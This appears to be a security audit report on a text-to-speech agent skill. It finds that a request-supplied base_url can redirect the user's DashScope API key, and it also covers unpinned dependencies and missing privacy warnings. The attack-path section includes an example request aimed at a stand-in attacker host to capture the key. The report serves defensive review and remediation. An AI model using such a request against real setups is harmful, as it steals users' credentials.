Back to skill

Security audit

Alibaba Cloud AI Audio TTS

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its text-to-speech purpose, but its helper script lets a request choose an arbitrary API endpoint while using the user's DashScope API key.

Review before installing. Use only trusted request JSON, do not allow untrusted users to set base_url, and prefer removing or allowlisting endpoint selection before using a real DashScope API key. Avoid sending secrets or regulated text to remote TTS, and clean output files if generated audio links or request payloads are sensitive.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/generate_tts.py:82
Finding
Request-Controlled API Endpoint Can Disclose the DashScope API Key## Vulnerability Details **File Location**: `scripts/generate_tts.py`, lines 82-100 **Vulnerability Type**: Unvalidated API endpoint override causing credential disclosure **Risk Level**: High ### Vulnerable Code ```python def load_request(args: argparse.Namespace) -> dict[str, Any]: if args.request: return json.loads(args.request) if args.file: with open(args.file, "r", encoding="utf-8") as f: return json.load(f) raise ValueError("Either --request or --file must be provided") def call_generate(req: dict[str, Any]) -> dict[str, Any]: text = req.get("text") if not text: raise ValueError("text is required") dashscope.base_http_api_url = req.get( "base_url", "https://dashscope.aliyuncs.com/api/v1" ) response = dashscope.MultiModalConversation.call( model=MODEL_NAME, api_key=os.getenv("DASHSCOPE_API_KEY"), ``` ### Technical Analysis The request is loaded directly from attacker-influenced inline JSON or a caller-supplied JSON file. The undocumented `base_url` property is then assigned to the global DashScope SDK API endpoint without validating its scheme, hostname, port, or path. The same SDK call receives the genuine `DASHSCOPE_API_KEY`. Consequently, a crafted request can redirect an authenticated API call to an arbitrary server. Depending on the DashScope SDK's authentication implementation, the API key may be transmitted in an authorization header or another request field to that server. Allowing an arbitrary endpoint is unnecessary for the declared TTS function. The documentation identifies only the Beijing and Singapore DashScope endpoints, so accepting unrestricted destinations exceeds least-privilege requirements. ### Attack Path 1. An attacker supplies an inline or file-based request containing an attacker-controlled endpoint: ```json { "text": "Test request", "voice": "Cherry", "base_url": "https://attacker.example/api/v1" } ` ...[truncated 1174 chars]
Remediation
## Remediation Suggestions 1. Remove request-level `base_url` support if endpoint customization is not required: ```python dashscope.base_http_api_url = "https://dashscope.aliyuncs.com/api/v1" ``` 2. If regional selection is required, accept a fixed region identifier rather than a URL and map it to an explicit allowlist: ```python ENDPOINTS = { "beijing": "https://dashscope.aliyuncs.com/api/v1", "singapore": "https://dashscope-intl.aliyuncs.com/api/v1", } region = req.get("region", "beijing") if region not in ENDPOINTS: raise ValueError("Unsupported DashScope region") dashscope.base_http_api_url = ENDPOINTS[region] ``` 3. Do not accept arbitrary schemes, hostnames, ports, credentials in URLs, IP literals, or deceptive subdomains. 4. Ensure redirects cannot forward authentication headers or credentials to a host outside the allowlist. 5. Define an explicit request schema and reject unknown properties such as `base_url`. 6. Add tests confirming rejection of HTTP endpoints, localhost, private-network addresses, user-info URLs, deceptive subdomains, and arbitrary external hosts. 7. Rotate any API key that may have been used with an untrusted request containing `base_url`.

T08 · Insecure Dependencies

Note
Location
SKILL.md:36
Finding
Unpinned DashScope Dependency Creates a Supply-Chain Risk## Vulnerability Details **File Location**: `SKILL.md`, lines 36-40; `references/api_reference.md`, lines 5-9 **Vulnerability Type**: Unpinned third-party dependency installation **Risk Level**: Low ### Vulnerable Code From `SKILL.md`: ```bash python3 -m venv .venv . .venv/bin/activate python -m pip install dashscope ``` The same installation pattern appears in `references/api_reference.md`: ```bash python3 -m venv .venv . .venv/bin/activate python -m pip install dashscope ``` ### Technical Analysis The installation instructions resolve the latest available `dashscope` release at installation time. No exact version, lock file, integrity hash, or reviewed dependency set is specified. This makes installation behavior non-reproducible and permits a future package release or transitive dependency update to introduce incompatible or malicious code without any corresponding change to this project. Python packages and their dependencies can execute code during installation and whenever imported by `scripts/generate_tts.py`. The package name is consistent throughout the project, and the audit found no evidence that the currently referenced package is typosquatted or malicious. The finding concerns the absence of version and integrity controls rather than a confirmed compromise of the dependency. ### Attack Path 1. A user follows the documented prerequisite and runs `python -m pip install dashscope`. 2. pip resolves the package version and transitive dependencies available at that time. 3. If a future package release or dependency is compromised, pip installs the affected code. 4. Malicious installation hooks may execute during installation, or malicious runtime code may execute when the script imports `dashscope`. 5. That code runs with the privileges of the user executing the installation or TTS script. ### Impact Assessment A compromised dependency could execute arbitrary Python code with the invoking user's privileges. Depending on the runtime environme ...[truncated 429 chars]
Remediation
## Remediation Suggestions 1. Pin `dashscope` to an exact version that has been reviewed and tested: ```text dashscope==REVIEWED_VERSION ``` 2. Generate a lock file that also pins all transitive dependencies. 3. Record cryptographic hashes and install with pip's hash verification: ```bash python -m pip install --require-hashes -r requirements.txt ``` 4. Use a trusted package index explicitly and prevent unexpected fallback to untrusted indexes. 5. Review package release notes and dependency changes before updating the pin. 6. Add automated vulnerability and provenance scanning for direct and transitive dependencies. 7. Keep installation inside a dedicated virtual environment with only the filesystem and network permissions required for the TTS workflow. 8. Update both `SKILL.md` and `references/api_reference.md` so all installation instructions use the same reviewed, reproducible dependency specification.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Rogue AgentSelf-Modification, Session Persistence
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (11)

Tainted flow: 'audio_url' from os.getenv (line 109, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
def download_audio(audio_url: str, output_path: Path) -> None:
    output_path.parent.mkdir(parents=True, exist_ok=True)
    with urllib.request.urlopen(audio_url) as response:
        output_path.write_bytes(response.read())
Confidence
90% confidence
Finding
The script downloads and trusts a URL returned by the external TTS API without validating the scheme, host, or destination. If the upstream service, SDK, or request routing is compromised—or if a user supplies a malicious base_url—the returned audio_url could point to an attacker-controlled or internal resource, enabling SSRF-style network access or retrieval of unexpected content.

Credential Access

High
Category
Privilege Escalation
Content
def _load_env() -> None:
    _load_dotenv(Path.cwd() / ".env")
    repo_root = _find_repo_root(Path(__file__).resolve())
    if repo_root:
        _load_dotenv(repo_root / ".env")
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
def _load_env() -> None:
    _load_dotenv(Path.cwd() / ".env")
    repo_root = _find_repo_root(Path(__file__).resolve())
    if repo_root:
        _load_dotenv(repo_root / ".env")
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
_load_dashscope_api_key_from_credentials()
    if not os.environ.get("DASHSCOPE_API_KEY"):
        print(
            "Error: DASHSCOPE_API_KEY is not set. Configure it via env/.env or ~/.alibabacloud/credentials.",
            file=sys.stderr,
        )
        print("Example .env:\n  DASHSCOPE_API_KEY=your_key_here", file=sys.stderr)
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill documents capabilities that require environment access, filesystem reads/writes, and outbound network use, but it does not declare any explicit tool scope or permission boundaries. This can lead to overbroad execution in a host agent, where the skill may inherit more access than necessary and make it harder to enforce least privilege or review what the skill is allowed to do.

Session Persistence

Medium
Category
Rogue Agent
Content
## Validation

```bash
mkdir -p output/aliyun-qwen-tts
python -m py_compile skills/ai/audio/aliyun-qwen-tts/scripts/generate_tts.py && echo "py_compile_ok" > output/aliyun-qwen-tts/validate.txt
```
Confidence
76% confidence
Finding
The skill instructs writing validation artifacts and generated outputs to a persistent local directory, which creates session persistence on disk. While this is common for evidence collection, persisted request payloads, logs, and audio links can expose sensitive text content, metadata, or user data across runs if the workspace is shared or insufficiently cleaned.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The documentation instructs users to send arbitrary text to an external DashScope TTS endpoint but does not clearly warn that the input leaves the local system and is processed by a third party. In a skill specifically meant for text-to-speech generation, users may pass sensitive scripts, prompts, names, or internal content, creating an avoidable data disclosure risk through omission of privacy and data-handling guidance.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The streaming example similarly sends text to a remote service and returns externally processed audio data, but it omits any notice about off-system transmission or privacy implications. Because streaming can feel more "local" to implementers, the lack of warning may increase the chance that sensitive content is sent in real time without user awareness or policy review.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
This code sends the provided text to DashScope via `dashscope.MultiModalConversation.call`, which is a network operation transmitting user-supplied content to a third-party service. While the module docstring says it uses DashScope, there is no explicit warning, confirmation, or user-facing disclosure near execution about sending request text off-box.

Intent-Code Divergence

Low
Confidence
88% confidence
Finding
The manifest and the rest of the file describe a text-to-speech provider that generates audio via DashScope. However, the workflow text discusses confirming whether an operation is read-only or mutating and running a minimal read-only query first, which does not match TTS generation semantics and appears copied from a generic data-operation workflow.

Missing User Warnings

Low
Confidence
77% confidence
Finding
The code automatically loads `.env` values and reads `~/.alibabacloud/credentials` to populate `DASHSCOPE_API_KEY`. Although this behavior is functional, there is no user-facing disclosure that the script will inspect local environment and credential sources for secrets.

Static analysis

No suspicious patterns detected.